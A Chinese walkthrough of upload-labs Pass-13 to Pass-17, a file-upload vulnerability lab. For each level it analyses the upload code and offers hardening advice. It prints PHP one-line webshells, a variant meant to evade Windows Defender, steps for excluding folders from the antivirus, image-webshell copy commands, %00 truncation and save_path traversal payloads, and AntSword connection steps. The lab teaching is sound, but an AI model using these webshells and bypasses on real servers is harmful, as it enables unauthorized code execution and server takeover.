前言
本文主要内容是upload-labs靶场的pass-13~21的解题步骤及原理讲解,帮助大家更好的了解文件上传漏洞。
相信通过前文Upload-labs:部署靶场及Pass-01实战解析-CSDN博客
pass-2-12:upload-labs靶场的pass-2~21的解题步骤及原理讲解-CSDN博客
大家已经了解如何部署upload-labs靶场以及大体知道了文件上传漏洞是怎么回事
正如前言所说,每一关没有固定的方法,如果有好的其他办法,欢迎大家在评论区交流!
话不多说,我们继续深入了解------文件上传漏洞
先记得一定要把杀毒软件或者别的什么安全防护关掉!要不然会显示是病毒,不让上传
否则:
这是一个非常经典的问题!你遇到的不是
upload-labs靶场的拦截,而是你**本地 Windows 系统的 Windows Defender(安全中心)**把文件给"杀"了。当你选择文件准备上传时,Windows 检测到
whell.php的内容(eval,$_POST等特征)像木马,所以在文件还没发出去之前,就阻止了你的操作。解决方法(三选一)
方法一:给文件夹加"白名单"(最推荐,一劳永逸)
既然你在做网络安全练习,以后还会遇到很多类似的文件,建议把你存放这些文件的文件夹加入排除项。
- 点击 Windows 开始菜单 ,搜索"病毒和威胁防护",打开它。
- 在"病毒和威胁防护设置"下方,点击"管理设置"。
- 向下滚动,找到"排除项 ",点击"添加或删除排除项"。
- 点击"添加排除项 " -> 选择"文件夹"。
- 找到并选中你的
bachang文件夹(就是你截图里的那个文件夹)。操作完后,再次上传就不会报错了。
方法二:直接修改文件内容(最快)
Windows Defender 主要是检测文件里的代码特征。你只要稍微改一下内容,它就不认识了。
- 右键点击
whell.php,用记事本打开。- 把代码里的
eval改成assert(这也是一个执行函数,在老版本 PHP 中通用,或者靶场里通常够用)。
- 原代码:
<?php @eval($_POST['cmd']); ?>- 改后:
<?php @assert($_POST['cmd']); ?>- 保存。
- 再次上传。
注意:如果你用蚁剑连接,密码依然是
cmd,不需要改。方法三:暂时关闭实时防护(不推荐,除非前两个都不行)
- 同样在"病毒和威胁防护设置"里。
- 把"实时保护 "的开关关闭。
- 上传文件。
- 记得上传完后立刻打开!
建议使用方法一,这样你以后做靶场练习,不管是 Webshell 还是其他工具,都不会被系统自动删除了。搞定这个后,重新上传文件,再用蚁剑连接试试!
在后面的解题中phpstudy可能不太适用了,很大的概率是因为phpstudy版本太高了,比较方便的方法用%00 截断天然失效!如果你真要做的话,phpStudy 2018 (老版本,自带 PHP 5.3 / 5.2)
**这是唯一能让 %00 截断生效的环境!**你现在用的新版 phpStudy / XAMPP 全是 PHP 7+ / 8+
这篇文章可以当稍微了解一下怎么个做法就好了,因为其实步骤真的差不多,一些小地方才要改
你可以先尝试一下前面几道题,不嫌麻烦的话实操就好了
由于环境配置问题,如果单是用phpstudy的环境只能做前面的,后面的图片马做不了
所以推荐一个靶场运行:BUUCTF在线评测,用第一个linux运行,但是其实也有点不稳定

pass-13(00阶段POST型)
详细分析源代码

一、整体功能
这是一个基于白名单后缀校验的文件上传代码,核心流程是:
- 检查表单是否提交
- 提取上传文件的后缀名
- 用白名单
jpg/png/gif校验后缀 - 拼接目标路径(路径由用户可控)
- 移动临时文件到目标路径,标记上传结果
二、逐行代码解析
1. 初始化变量
$is_upload = false;
$msg = null;
$is_upload:标记上传是否成功,初始为false。$msg:存储上传过程中的提示信息,初始为null。
2. 表单提交判断
if(isset($_POST['submit'])){
判断用户是否点击了表单的 submit 按钮,只有提交请求才会进入上传逻辑。
3. 定义白名单后缀
$ext_arr = array('jpg','png','gif');
定义允许上传的文件后缀白名单,只有这三种后缀的文件才会被允许上传。
4. 提取文件后缀名
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
strrpos($_FILES['upload_file']['name'], "."):找到文件名中最后一个.的位置(比如shell.php.jpg会找到最后一个.的位置)。substr(..., 位置+1):从.的下一位开始截取字符串,得到文件后缀名。例如:shell.jpg→ 截取后得到jpg;shell.php.jpg→ 截取后得到jpg。
⚠️ 这里有个细节:如果文件名中没有 . (比如直接叫 shell),strrpos 会返回 false,substr 会从位置 false+1=1 开始截取,直接截取整个文件名,导致校验失效。
5. 白名单校验
if(in_array($file_ext,$ext_arr)){
判断提取到的后缀是否在白名单数组中,只有在白名单内的文件才会进入上传流程。
6. 获取临时文件路径
$temp_file = $_FILES['upload_file']['tmp_name'];
获取文件上传到服务器后的临时路径,后续会用 move_uploaded_file 移动到目标目录。
7. 拼接目标路径(关键漏洞点)
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$_POST['save_path']:用户可控的变量,用户可以通过 POST 请求修改这个值。rand(10, 99).date("YmdHis"):生成随机数 + 时间戳,避免文件名重复。- 最终路径格式:
用户指定的路径/随机时间戳.后缀。
⚠️ 这里的 $_POST['save_path'] 是用户可控的输入,且没有任何过滤,是核心安全漏洞。
8. 移动文件并标记结果
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
move_uploaded_file():将临时文件移动到目标路径,成功返回true,失败返回false。- 成功时将
$is_upload设为true,失败时设置错误提示。
9. 后缀不合法的处理
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
如果文件后缀不在白名单中,提示用户只能上传指定类型的文件。
三、核心安全漏洞分析
这段代码的问题主要集中在路径可控 和后缀校验不严谨上,在 CTF 或真实环境中都可以被利用。
1. 路径穿越 + 解析漏洞(最严重)
因为 $_POST['save_path'] 是用户可控的,攻击者可以通过修改这个值实现路径穿越,配合服务器解析漏洞 getshell。
常见利用方式:
-
路径穿越写文件 :攻击者将
save_path设置为../,就可以将文件上传到网站根目录之外的位置。例如:save_path=../,目标路径会变成..//9920250518123456.jpg,如果服务器根目录可写,就可以覆盖配置文件或写 Webshell。 -
配合 Apache/Nginx 解析漏洞 :攻击者将
save_path设置为xxx.php/,目标路径会变成xxx.php/9920250518123456.jpg,如果服务器存在目录解析漏洞(如 Nginx 旧版本),会将整个路径解析为 PHP 文件,执行其中的恶意代码。 -
写
.htaccess控制解析 :如果服务器是 Apache,攻击者可以上传.htaccess文件,修改AddHandler php5-script .jpg,让.jpg文件被解析为 PHP。利用方式:将save_path设置为.(当前目录),上传包含AddHandler php5-script .jpg的.htaccess文件,再上传图片马,即可执行代码。
2. 后缀校验的绕过方式
- 文件名无后缀绕过 :如果上传的文件名为
shell(无.),strrpos返回false,substr会从位置1开始截取,得到hell,不在白名单中,无法直接绕过,但如果结合其他漏洞仍有利用空间。 - 双重后缀绕过 :上传文件名为
shell.php.jpg,strrpos会取最后一个.后的jpg,通过白名单校验,但如果服务器存在解析漏洞(如 Apache 的AddHandler配置不当),仍会被解析为 PHP。 - 大小写绕过 :如果服务器是 Windows 系统,文件后缀不区分大小写,上传
shell.PHP会被解析为 PHP,但这段代码中$ext_arr是小写,无法直接绕过。
3. 其他问题
- 没有对
save_path做任何过滤,攻击者可以注入/、../、%00等特殊字符,实现路径控制。 - 没有限制文件大小,可能导致服务器磁盘被占满。
- 没有验证文件的真实内容(如文件头检测),只能防止简单的后缀伪造,无法阻止图片马。
四、代码加固建议
如果要修复这段代码的安全问题,需要从以下几个方面修改:
-
禁止用户可控路径 :直接将
save_path改为常量,不允许用户传入:define('UPLOAD_PATH', './upload'); $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_ext; -
过滤路径中的特殊字符 :如果必须使用用户传入的路径,需要先过滤
../、/、\等字符:$save_path = $_POST['save_path']; // 过滤路径穿越字符 $save_path = preg_replace('/\.\.\//', '', $save_path); $save_path = preg_replace('/[\/\\\]/', '', $save_path); // 限制路径在指定目录内 $img_path = UPLOAD_PATH."/".$save_path."/".rand(10, 99).date("YmdHis").".".$file_ext; -
增加文件头校验 :用
getimagesize()或exif_imagetype()检测文件的真实图片类型,防止图片马:$image_info = getimagesize($temp_file); if(!$image_info){ $msg = "文件不是真实图片!"; return; } -
限制文件大小和 MIME 类型:
if($_FILES['upload_file']['size'] > 2*1024*1024){ // 限制2MB $msg = "文件过大!"; return; } $mime_type = mime_content_type($temp_file); if(!in_array($mime_type, ['image/jpeg', 'image/png', 'image/gif'])){ $msg = "文件MIME类型不合法!"; return; }
解题步骤
一、漏洞核心回顾
代码的致命问题:
- 文件后缀仅做了前端式的白名单校验(只看文件名后缀)
- 保存路径
$_POST['save_path']完全可控,无任何过滤 → 这是典型的路径可控 + 解析漏洞组合利用场景。
二、解题前置条件
- 目标环境:PHP + Apache/Nginx(存在目录解析漏洞 / 支持
.htaccess) - 你可以:
- 抓包修改 POST 请求(推荐用 Burp Suite)
- 上传文件后能知道文件保存路径(题目一般会回显)
三、方法一:利用 Apache 目录解析漏洞(最通用)
步骤 1:准备上传文件
-
新建一个文件,命名为
shell.jpg,内容写入一句话木马:<?php @eval($_POST['cmd']);?>(文件名后缀必须是
jpg/png/gif之一,否则过不了白名单)
步骤 2:抓包修改 save_path 参数
-
正常提交上传请求,用 Burp 抓包。
-
在 POST 数据中找到
save_path参数,修改为:save_path=shell.php(注意:这里不需要写
/,直接写shell.php即可) -
此时拼接后的文件路径为:
shell.php/[随机时间戳].jpg

步骤 3:利用解析漏洞执行代码
- 服务器会把
shell.php/xxx.jpg解析为 PHP 文件(Apache/Nginx 旧版本会把/后的内容当作路径信息,只解析前面的shell.php部分)。 - 用菜刀 / 蚁剑连接
shell.php/[随机时间戳].jpg,密码cmd,即可 getshell。
四、方法二:写 .htaccess 控制解析(Apache 环境专用)
如果目标服务器是 Apache,且开启了 AllowOverride,可以用这个方法让 .jpg 文件直接被解析为 PHP。
步骤 1:上传 .htaccess 文件
-
新建文件
.htaccess,内容:AddHandler php5-script .jpg(作用:让所有
.jpg文件被当作 PHP 解析) -
上传
.htaccess文件:- 文件名改为
.htaccess.jpg(后缀jpg过白名单) - 抓包修改
save_path为.(当前目录),让文件保存到网站根目录。 - 上传成功后,
.htaccess.jpg会被保存为./[随机时间戳].jpg,你需要再次上传一个真正的.htaccess文件(或者用路径穿越覆盖为.htaccess)。
- 文件名改为
步骤 2:上传图片马
-
新建
shell.jpg,内容写入一句话木马:<?php @eval($_POST['cmd']);?> -
正常上传,
save_path保持默认即可。 -
上传成功后,直接访问
[随机时间戳].jpg,即可执行 PHP 代码。
五、方法三:路径穿越直接写 Webshell(服务器目录可写时)
如果目标服务器的根目录可写,可以直接用路径穿越把文件上传为 .php。
步骤 1:准备文件
-
新建
shell.jpg,内容写入一句话木马:<?php @eval($_POST['cmd']);?>
步骤 2:抓包修改 save_path
-
抓包后修改
save_path为:save_path=../此时文件会被上传到网站根目录的上一级目录。
-
进一步修改路径,直接写为
shell.php:save_path=../shell.php(注意:此时文件后缀会被代码自动加上
.jpg,所以需要结合其他漏洞,比如%00截断)
六、方法四:%00 截断上传(旧版本 PHP 可用)
如果目标 PHP 版本 < 5.3.4,且 magic_quotes_gpc=Off,可以用 %00 截断后缀。
为什么这些条件缺一不可?
- PHP 版本限制
- PHP ≤ 5.3.4 :PHP 内核在处理文件路径时,会把
%00解析为字符串结束符,导致后面的内容被截断。- PHP ≥ 5.3.4 :修复了这个安全漏洞,内核不再把
%00当作结束符,截断失效。
- magic_quotes_gpc 限制
- magic_quotes_gpc = Off :用户传入的
%00不会被自动转义,能原样传入内核。- magic_quotes_gpc = On :PHP 会自动把
%00转义为\0,失去截断效果。
步骤 1:准备文件
- 新建
shell.php,内容写入一句话木马。
步骤 2:抓包修改文件名
方法1:
(这个如果不行的话用方法2)
-
上传jpg文件时,抓包修改文件名:

save_path=../upload/shell.php%00 -
点击 Burp 的「放行」按钮
-
此时代码中
strrpos会取最后一个.后的jpg,通过白名单校验;但服务器处理路径时,%00会截断,文件实际保存为shell.php。
为什么上传失败了?
你用方案一的时候,
save_path=../upload/shell.php%00,但上传失败,大概率是因为:
%00被自动 URL 解码了(Burp 里要确保%00没有被自动转义成\0)- PHP 环境虽然是低版本,但
magic_quotes_gpc开启了,%00被转义失效了
方法2
在文件名里加 %00(本关也能用)
修改上传文件的 filename 为:
shell.php%00.jpg
- 白名单校验会取最后一个
.后的jpg,校验通过。 - 服务器保存时,
%00截断,文件实际保存为shell.php。
如果复制图片地址,新建了一个页面栏显示:
🔍 问题诊断
- 为什么图片无法显示?
你上传的文件里是纯 PHP 代码,没有任何图片文件头(比如 GIF 的
GIF89a、JPG 的FFD8FF),所以浏览器会把它当成损坏的图片文件,直接报错 "无法显示"。
- 为什么 PHP 代码没被解析?
文件的后缀还是
.jpg,服务器只会把它当成静态图片处理,不会交给 PHP 解释器执行里面的代码。蚁剑发送的 POST 请求,服务器只会返回文件的原始内容(PHP 代码文本),不会执行,所以蚁剑提示 "返回数据为空"。
方法3:
上传shell.php,抓包将文件名改为shell.png(或者shell.jpg,都一样,图片文件),将参数save_path的值改为shell.php ,后面的空格将其Hex值改成00,或者按照下图,选中%00右键,点击URL-decode(网址解密)这个%00就会变成一个空格,然后后面步骤一样放行就行

步骤 3:连接 webshell
- 访问上传后的文件路径:
http://upload-labs:8090/upload/shell.php
- 用蚁剑 / 菜刀连接该地址,密码为
cmd,即可拿到 webshell 权限。

七、解题关键总结
-
核心利用点:
save_path可控 + 解析漏洞 / 路径穿越 -
最通用的 Payload:
save_path=shell.php + 上传 shell.jpg -
其他方法:
.htaccess、%00截断、路径穿越写根目录。
pass-14(文件头标识)

详细分析源代码

一、整体功能概览
这是一个基于文件头(魔术字节)的文件上传验证代码,它的逻辑是:
- 读取上传文件的前 2 个字节,判断文件类型
- 只允许
jpg/png/gif三种图片格式上传 - 过滤掉所有无法识别的文件类型(比如
.php脚本)
二、逐行代码详解
1. getReailFileType() 函数:核心文件头检测
function getReailFileType($filename){
$file = fopen($filename, "rb"); // 以二进制只读模式打开文件
$bin = fread($file, 2); // 只读取文件的前 2 个字节(文件头)
fclose($file);
$strInfo = @unpack("C2chars", $bin); // 把读取的2个字节,按无符号字符解析
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 拼接两个字节为整数
$fileType = '';
// 根据文件头的数值判断文件类型
switch($typeCode){
case 255216: $fileType = 'jpg'; break; // JPG 文件头: FF D8
case 13780: $fileType = 'png'; break; // PNG 文件头: 89 50
case 7173: $fileType = 'gif'; break; // GIF 文件头: 47 49
default: $fileType = 'unknown'; // 其他类型视为未知文件
}
return $fileType;
}
关键点:
- 它只检查文件的前 2 个字节,不验证文件的完整内容,也不检查文件后缀
- 不同图片格式的文件头(魔术字节)是固定的,所以可以通过这种方式快速判断文件类型
2. 上传处理主逻辑
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件名
$file_type = getReailFileType($temp_file); // 调用上面的函数,检测文件类型
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!"; // 非图片文件直接拦截
} else {
// 生成保存路径:随机数 + 时间戳 + 检测到的文件类型后缀
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
关键点:
- 保存文件时,直接用检测到的
$file_type作为后缀(比如.jpg),没有保留用户上传的原始文件名 - 最终保存的文件名格式:
/upload/9920260518123456.jpg,后缀由检测结果决定
三、安全逻辑与漏洞分析
1. 过滤机制的局限性
- ✅ 优点:能拦截直接上传的
.php脚本(文件头不是图片格式) - ❌ 缺点:只检查前 2 个字节,很容易绕过
2. 常见绕过方法(针对这段代码)
方法 1:图片马绕过(最常用)
-
制作图片马:在合法图片文件里插入 PHP 代码
# 命令行合成(Windows 用 copy) copy /b test.jpg + shell.php shell.jpg -
上传这个图片马:文件头是合法图片格式,会通过检测
-
服务器会把它保存为
.jpg文件,但里面包含 PHP 代码 -
如果服务器存在文件包含漏洞,或者支持解析
.jpg里的 PHP 代码,就能执行脚本
方法 2:文件头伪造绕过
- 在 PHP 脚本文件的开头,加上对应图片的文件头:
- JPG:
ÿØ(十六进制FF D8) - PNG:
‰P(十六进制89 50)
- JPG:
- 保存为
.php文件上传,前 2 个字节是合法图片格式,会通过检测 - 服务器保存后,文件后缀还是
.php,会被直接解析执行
四、和你之前遇到的 Pass-13 有什么区别?
你之前的 Pass-13 代码,核心漏洞是 save_path 参数可控,导致 %00 截断;而这段代码的漏洞点是文件头检测的局限性 ,和 %00 无关,这是完全不同的关卡。
五、这段代码的安全加固建议
- 增加文件内容完整性校验(比如检查图片的完整结构,而不只是前 2 个字节)
- 上传后对文件进行二次渲染(比如 GD 库重新生成图片,清除嵌入的恶意代码)
- 限制上传文件的后缀,只允许
.jpg/.png/.gif,不允许其他格式 - 对上传目录设置权限,禁止 PHP 脚本执行
解题步骤
步骤 1: 制作图片马
·++方法一:++ ++cmd++ ++合并++
准备三个正常的图片文件 ( 1.jpg,2.png,3.gif ) 和一个木马文件(text.php),放在同一个文件夹内。



text.php 的内容为一句话木马:
<?php @eval($_POST['aa']);?>
在文件夹内打开命令提示符(CMD),执行文件合并命令:
copy 1.jpg/b + text.php/a shell.jpg
copy 2.png/b + text.php/a shell2.png
copy 3.gif/b + text.php/a shell3.gif
(原理:将图片二进制数据与 PHP 代码文本合并,生成看似正常的图片文件 shell.jpg/shell2.png/shell3.gif)
·++方法二:使用++ ++UltraEdit++ ++添加文件前两个字节++
(1)查找jpg,png,gif文件的前两个字节

(2)创建txt文件,内容加上一句话木马,文件扩展名改成对应的图片文件扩展名jpg/png/gif。使用UltraEdit在文件前面添加对应两个字节。
接下来,三种图片的操作步骤一样。
步骤 2: 上传文件
在火狐中访问 Pass-14 页面:
点击「浏览」,选择制作好的 三种类型图片文件,
点击「上传」,页面提示上传成功,
上传成功后,复制服务器返回的图片文件路径。
步骤3: 利用文件包含漏洞
构造攻击 URL:
找到靶场中存在文件包含漏洞的脚本(如 include.php),通过 file 参数传入刚才上传的图片路径。
URL: http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg
原理:
服务器接收到请求后,include.php 会将 file 参数指定的 .jpg 文件当作 PHP 脚本进行解析和执行,从而绕过文件后缀名的限制。
步骤 4: 连接 WebShell
开启 POST 数据发送:
如图所示,勾选 Enable Post data。

设置连接密码:
在 Post data 栏中输入与木马匹配的键值对。
(数据: cmd=系统命令(木马为 eval($_POST['aa']), )
则填 aa=phpinfo();
验证:
发送请求后,若页面返回 phpinfo() 的信息,说明图片马中的代码已被成功执行,漏洞利用成功。
步骤 5: 使用中国蚁剑连接 WebShell
(1)打开中国蚁剑
启动中国蚁剑(AntSword)软件,在"数据管理"或"虚拟终端"界面中,右键点击左侧列表,选择"添加数据"。
(2)配置基本信息
在弹出的"添加数据"窗口中,填写以下关键信息:
URL 地址:填入上一步构造的文件包含漏洞利用链接。
如http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg
(注意:这里必须包含 include.php 脚本路径和 file= 参数,指向你上传的图片马)
连接密码:填入木马文件中定义的 POST 参数名。
根据我们的木马文件,此处应填写:aa
(原理:木马代码为 eval($_POST['aa']),因此蚁剑需要知道通过 aa 这个键名发送指令)

(3)测试与连接
点击窗口上方的"测试连接"按钮。
如果配置正确,软件会提示"连接成功",并显示目标服务器的操作系统信息(如 Windows 或 Linux)。

点击"添加"保存配置。
完成通关
在蚁剑主界面双击刚刚添加的目标链接,即可打开虚拟终端或文件管理器,成功获取服务器权限,完成通关。

在别的博主那看到其他方法:
通过源码可知:读取图片转化成十六进制后的前两字节,这两字节的不同对应不同的图片。

如果你遇到:
Warning: Unexpected character in input
这个问题非常经典,通常是在做文件包含(File Inclusion)配合图片马(Image Webshell)绕过时出现的。
简单来说,这是因为 PHP 解析器在读取图片文件时,把图片二进制数据中偶然出现的 <? 字符误判为了 PHP 的短标签(Short Open Tag),导致解析混乱。
自己部署的apache+php尝试发现不会出现这个问题,应该还是PHP版本(NTS和TS)差异造成的。
pass-15
详细分析源代码

一、整体功能概览
这是一个基于 getimagesize() 函数的图片文件校验上传代码,核心逻辑是:
- 用 PHP 内置的图片处理函数,验证上传文件是否为合法图片
- 只允许
.jpeg/.png/.gif三种格式上传 - 校验通过后,自动生成随机文件名保存文件
二、逐行代码详解
1. isImage() 函数:核心图片校验
function isImage($filename){
// 定义允许的图片后缀
$types = '.jpeg|.png|.gif';
// 先判断文件是否存在
if(file_exists($filename)){
// getimagesize() 读取图片信息,返回数组,其中索引2是图片类型常量
$info = getimagesize($filename);
// 把图片类型常量转为文件后缀(比如 2 转为 .jpeg,3 转为 .png)
$ext = image_type_to_extension($info[2]);
// 判断转换后的后缀是否在允许列表中
if(stripos($types,$ext)>=0){
return $ext; // 校验通过,返回文件后缀
}else{
return false; // 校验失败,返回 false
}
}else{
return false; // 文件不存在,返回 false
}
}
关键细节:
getimagesize()是 PHP 内置函数,它会读取文件的真实图片信息(宽高、格式等),只有合法的图片文件才能通过,纯文本的伪造文件头无法绕过它。image_type_to_extension()会根据图片的真实格式,返回标准后缀,不会被文件名的后缀欺骗。
2. 上传处理主逻辑
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 获取上传文件的临时文件名(服务器端的临时文件)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 调用 isImage() 函数,校验文件是否为合法图片
$res = isImage($temp_file);
if(!$res){
// 校验失败,提示上传失败
$msg = "文件未知,上传失败!";
}else{
// 校验通过,生成保存路径:随机数 + 时间戳 + 校验得到的后缀
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
// 把临时文件移动到指定路径
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
关键细节:
- 保存文件时,直接用
$res(校验得到的真实图片后缀)作为文件名后缀,不使用用户上传的原始文件名,避免了后缀伪造。 - 最终文件名格式:
/upload/9920260518123456.jpeg,后缀由getimagesize()的结果决定。
三、安全逻辑与可利用点分析
1. 过滤机制的特点
- ✅ 优点 :能拦截纯文本伪造文件头的脚本,也能拦截直接上传的
.php脚本。 - ❌ 局限性 :
getimagesize()只会读取文件的图片结构信息,不会解析文件的全部内容,因此图片马可以绕过。
2. 常见绕过方法(针对这段代码)
方法 1:图片马绕过(最常用)
-
制作图片马:在合法图片文件里插入 PHP 代码
# Windows 命令行合成 copy /b test.jpg + shell.php shell.jpg -
上传这个图片马:
getimagesize()会识别它为合法图片,校验通过。 -
服务器会把它保存为
.jpeg/.png/.gif文件,但文件里包含 PHP 代码。 -
如果服务器存在文件包含漏洞,或者配置了
.htaccess让服务器解析图片文件为 PHP,就能执行脚本。
方法 2:二次渲染绕过(部分场景)
部分服务器会对上传的图片进行二次渲染(比如用 GD 库重新生成图片),清除嵌入的恶意代码。此时需要制作特殊的图片马,让代码在渲染后仍然存在,但难度较高。
四、安全加固建议
- 上传后对图片进行二次渲染(如使用 GD 库或 Imagick 重新生成图片),清除嵌入的恶意代码。
- 限制上传文件的后缀,只允许
.jpeg/.png/.gif,并在服务器端配置禁止这些文件解析为 PHP。 - 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行。
- 增加文件大小限制,防止恶意大文件上传。
五、和你之前的 Pass-13 有什么区别?
- Pass-13 的核心漏洞是
save_path参数可控导致的%00截断,属于路径解析漏洞。 - 这段代码的漏洞点是
getimagesize()无法检测图片内部嵌入的 PHP 代码,属于文件内容校验的局限性,两者是完全不同的关卡。
解题步骤
步骤1:制作图片马
- 分别新建三张小于1KB的图片
保存为jpg、gif、png形式。
- 使用cmd 分别输入以下三个命令,将他们都复制为shell.jpg、shell.png、shell.gif的格式

步骤2:逐个上传到Pass-15上



后面的步骤就都一样了,没什么区别很简单,估计做到这里,都有点做麻木了吧,哈哈哈
以下这个方法和第14题补充的做法是一样的,可以看一下
pass-16
图片马(图片木马) 是网络安全领域的术语,指将恶意代码(如一句话木马) 隐藏在正常图片文件中形成的特殊 Webshell,外观上与普通图片无异,但可被特定漏洞利用执行代码。
详细分析源代码

一、整体功能概览
这是一个图片上传处理代码,核心流程是:
- 用
exif_imagetype()检测上传文件的真实图片类型(防止后缀伪造) - 生成随机 + 时间戳的文件名,防止覆盖
- 用
move_uploaded_file()把临时文件移动到目标目录 - 输出上传结果(成功 / 失败提示)
二、逐行代码解析
1. 自定义函数 isImage($filename)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
- 功能 :检测文件的真实图片类型,返回文件后缀名(
gif/jpg/png),非图片文件返回false。 - 核心原理 :
exif_imagetype()读取文件头,识别真实图片格式,比单纯检查后缀更安全。 - 依赖条件 :需要开启 PHP 的
exif扩展模块,否则函数会报错。
2. 初始化变量
$is_upload = false;
$msg = null;
$is_upload:标记上传是否成功,初始为false。$msg:存储上传过程中的提示信息,初始为null。
3. 处理表单提交逻辑
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
isset($_POST['submit']):判断是否是表单提交的请求。$_FILES['upload_file']['tmp_name']:获取上传文件在服务器上的临时路径。$res = isImage($temp_file):调用函数检测图片类型。rand(10, 99).date("YmdHis").".".$res:生成随机文件名,格式为两位随机数 + 年月日时分秒 + 真实后缀,防止文件覆盖。move_uploaded_file($temp_file,$img_path):把临时文件移动到目标目录,成功返回true,失败返回false。
解题步骤
前期准备
还是用之前的一句话木马,txt改成php文件,最终文件名为shell.php
<?php @eval($_POST['cmd']); ?>
随便找3个图片,(两个截的空白图片)



一、执行以下命令生成图片马
1. 生成 JPG 格式图片马(基于2.jpg)
copy /b 2.jpg + shell.php shell.jpg
2. 生成 PNG 格式图片马(基于3.png)
copy /b 3.png + shell.php shell.png
3. 生成 GIF 格式图片马(基于1.gif)
copy /b 1.gif + shell.php shell.gif


二、打开 Pass-16 的上传页面,依次上传shell.jpg、shell.png、shell.gif三个文件;
每次上传成功后,务必记录服务器返回的文件路径(通常格式为./upload/xxx.jpg,比如upload/shell.jpg);





三、点击文件包含漏洞:
在URL后面输入?= upload/1260303760.png(上一步返回的图片路径)

页面会返回乱码

如果显示以下文件,那就是靶场环境问题,这个我目前还没找到方法解决,稍微看下步骤好了

四、直接用蚁剑连接测试木马是否上传成功

用之前其他博主的方法就是:
pass-17(二次渲染)
详细分析源代码


这是一段带二次渲染的图片上传验证代码,是 Upload-Labs 中防护最严格的关卡之一。我给你逐行拆解,讲清楚它的校验逻辑、防护机制和绕过思路。
一、整体功能概览
这段代码实现了一个三层校验 + 二次渲染的图片上传流程:
- 第一层:后缀校验 :检查文件扩展名是否为
jpg/png/gif - 第二层:MIME 类型校验 :检查
Content-Type是否为image/jpeg等合法图片类型 - 第三层:GD 库校验 :用
imagecreatefromjpeg/png/gif()尝试解析图片,验证文件是否为真实图片 - 终极防护:二次渲染:用 GD 库重新生成图片,清除文件中嵌入的恶意代码,然后删除原文件
二、逐行代码详解
1. 初始化与文件信息获取
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获取上传文件的基本信息
$filename = $_FILES['upload_file']['name']; // 原始文件名
$filetype = $_FILES['upload_file']['type']; // MIME 类型(Content-Type)
$tmpname = $_FILES['upload_file']['tmp_name']; // 服务器临时文件路径
// 生成保存路径
$target_path = UPLOAD_PATH.'/'.basename($filename);
// 提取文件扩展名(如 .jpg/.png)
$fileext = substr(strrchr($filename, "."), 1);
关键点:
strrchr($filename, ".")找到文件名中最后一个.,substr截取后面的部分,得到文件后缀- 这里的
$filetype来自请求头,是客户端可控的,很容易伪造
2. JPG 图片上传流程(含二次渲染)
// 校验后缀 + MIME 类型
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
// GD 库尝试解析图片,验证是否为真实 JPG
$im = imagecreatefromjpeg($target_path);
if($im == false){
// 解析失败,说明不是真实 JPG,删除文件
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
// 解析成功,开始二次渲染
srand(time());
$newfilename = strval(rand()).".jpg"; // 生成随机新文件名
$img_path = UPLOAD_PATH.'/'.$newfilename;
// 用 GD 库重新生成 JPG 图片(核心防护)
imagejpeg($im,$img_path);
// 删除原始上传的文件,只保留渲染后的新图片
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
关键点:
imagecreatefromjpeg()会解析图片的二进制数据,纯文本伪造的文件头无法通过imagejpeg($im,$img_path)会基于解析后的图片资源,重新生成一张标准的 JPG 图片,嵌入的 PHP 代码会被直接清除- 最终保存的是渲染后的新文件,原始文件会被删除,传统的图片马会失效
3. PNG/GIF 图片上传流程(与 JPG 逻辑一致)
// PNG 校验逻辑
else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefrompng($target_path); // GD 解析 PNG
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
// 二次渲染生成新 PNG
srand(time());
$newfilename = strval(rand()).".png";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
// GIF 校验逻辑
else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromgif($target_path); // GD 解析 GIF
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
// 二次渲染生成新 GIF
srand(time());
$newfilename = strval(rand()).".gif";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
关键点:
